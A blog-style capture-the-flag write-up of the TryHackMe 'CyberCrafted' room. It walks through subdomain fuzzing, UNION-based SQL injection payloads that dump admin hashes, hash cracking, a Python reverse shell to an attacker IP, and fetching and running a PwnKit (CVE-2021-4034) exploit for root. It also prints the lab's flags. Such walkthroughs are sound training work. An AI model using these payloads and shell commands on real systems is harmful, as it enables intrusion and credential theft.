CyberCrafted is one of those TryHackMe rooms that hides its real difficulty behind a goofy premise. On paper it's just a Minecraft server you're supposed to root. In practice it's a small, well-built chain: a login form that turns out to be a dead end, a search field that isn't, and a privilege escalation path that has nothing to do with Minecraft at all. I went in expecting a straightforward web box and came out having second-guessed a filter that didn't even exist.

Finding the Front Door

Standard start: a full port scan across all 65535 ports instead of just the usual top-1000, since one of the interesting services here sits on a high, non-default port.

nmap -sV -sC -A -T4 -p- <IP>

Three ports came back: SSH, an Apache server redirecting to cybercrafted.thm, and an actual Minecraft server on 25565. The redirect is a good sign that the server uses name-based virtual hosting - multiple sites behind one IP, distinguished by hostname. Once that hostname was in /etc/hosts, the page source revealed a developer comment mentioning that more subdomains had just been added. Cost nothing to check, and it saved a step.

Since directory brute-forcing only explores paths within one hostname, finding other hostnames on the same IP meant fuzzing the Host header instead:

ffuf -u http://cybercrafted.thm/ -H "Host: FUZZ.cybercrafted.thm" \
  -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0

Every non-existent subdomain returned the same default vhost response, so filtering by response size (-fs 0) was what actually separated the noise from three real hosts: admin, store, and www.

A Login Page That Wasn't the Way In

admin.cybercrafted.thm had a Minecraft-styled admin login - the obvious first thing to try on any login form is SQL injection, on the theory that unescaped input could let a ' break out of the query's string literal. I tried a lone ', then a proper bypass payload (' OR '1'='1' -- -) meant to make the WHERE clause always match regardless of the real credentials. Both came back with an identical "incorrect username or password" redirect - a sign this form uses parameterized queries, where input is treated as pure data rather than spliced into SQL. Dead end, and a reminder that the most obvious target isn't always the vulnerable one.

The Search Field That Actually Was

store.cybercrafted.thm/ returned a 403 on its root path, but the vhost was clearly alive, so I brute-forced it for other files:

gobuster dir -u http://store.cybercrafted.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

That turned up /search.php, a plain item-search box. Same first test - a single ' - but this time the page's HTML broke outright (confirmed with diff against a clean baseline: the closing tags were missing). The query was crashing, meaning my input was reaching it unescaped.

From there, the standard UNION-based routine. A UNION SELECT needs to match the original query's column count, found by abusing ORDER BY's ability to sort by column position:

' ORDER BY 4-- -   -- fine
' ORDER BY 5-- -   -- breaks

Four columns. Testing which ones actually render on the page:

' UNION SELECT 1,2,3,4-- -

Columns two through four showed up in the output table; column one stayed hidden. From there, swapping in DATABASE() (MySQL's built-in for the current database name) instead of a placeholder number:

' UNION SELECT 1,DATABASE(),3,4-- -

This one cost me more time than it should have - it crashed on the first try, and I spent a while convinced there was a keyword filter on DATABASE specifically, since VERSION() worked fine in the same spot. Turned out to be a typo in my own payload, nothing more interesting. Worth double-checking your own input before assuming the target is filtering you.

information_schema is MySQL's built-in metadata catalog - queryable like any normal table - which mapped out the rest:

' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=DATABASE()-- -
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='admin'-- -

Tables admin and stock, with id, user, and hash in admin. Final extraction, using GROUP_CONCAT to squeeze multiple rows into the single visible column I had to work with:

' UNION SELECT 1,GROUP_CONCAT(user,0x3a,hash SEPARATOR 0x0a),3,4 FROM admin-- -
xXUltimateCreeperXx:88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01
web_flag:THM{bbe315906038c3a62d9b195001f75008}

Cracking the Hash and Getting Inside

40 hex characters, SHA1:

john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

diamond123456789 got me into admin.cybercrafted.thm/panel.php, which included a straightforward "run system commands" field - remote code execution with no webshell upload needed.

From www-data to Root

The panel's shell ran as www-data, so the next step was hunting for a way up. SUID binaries are a classic target: files that always execute with their owner's privileges regardless of who runs them, so a bug in a root-owned one can hand you root directly.

find / -perm -u=s -type f 2>/dev/null

/usr/bin/pkexec, version 0.105 - unpatched against CVE-2021-4034 (PwnKit), CVSS 7.8, public exploit code available since 2022. (A ps aux check also showed the Minecraft server running as root inside a screen session - a second potential path, more on that below - but PwnKit was faster.)

Popped an interactive reverse shell from the panel:

nc -lvnp 6666
python3 -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Then compiled and ran the PwnKit PoC:

mkdir /tmp/x && cd /tmp/x
curl -so poc.c http://<ATTACKER_IP>:8000/cve-2021-4034-poc.c
gcc poc.c -o poc
./poc
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Root, user flag, and root flag all fell out from there:

FlagValue
Web FlagTHM{bbe315906038c3a62d9b195001f75008}
User FlagTHM{b4aa20aaf08f174473ab0325b24a45ca}
Root FlagTHM{8bb1eda065ceefb5795a245568350a70}

The Plugin That Didn't Belong

/opt/minecraft/cybercrafted/plugins/ had a plugin called LoginSystem - not something vanilla Minecraft ships with, and a clear sign of custom, bolted-on logic. It turned out to be logging plaintext credentials, which it really shouldn't have been doing at all.

The Path I Didn't Take

If the low-privileged user had sudo rights over /usr/bin/screen -r, that would have been the intended way to root: any new window opened inside an existing screen session inherits that session's privileges, not the privileges of whoever opens it. Attaching to a root-owned session and opening a new window (Ctrl+A, then c) hands you root instantly, no exploit needed - just a sudoers entry that never should have listed a terminal multiplexer.

Closing Thoughts

Nothing here was individually exotic - a properly secured login next to a wide-open search field, a leaked hash next to a working admin panel, an unpatched SUID binary sitting there the whole time. What made it interesting was how many plausible-looking dead ends were built in on purpose, and how much enumeration discipline (plus double-checking my own typos) mattered more than any single exploit did.

I still owe this post its last piece - digging further into that LoginSystem plugin to get the actual Minecraft server flag rather than just root. I'll come back and fill that in once I've had a proper look.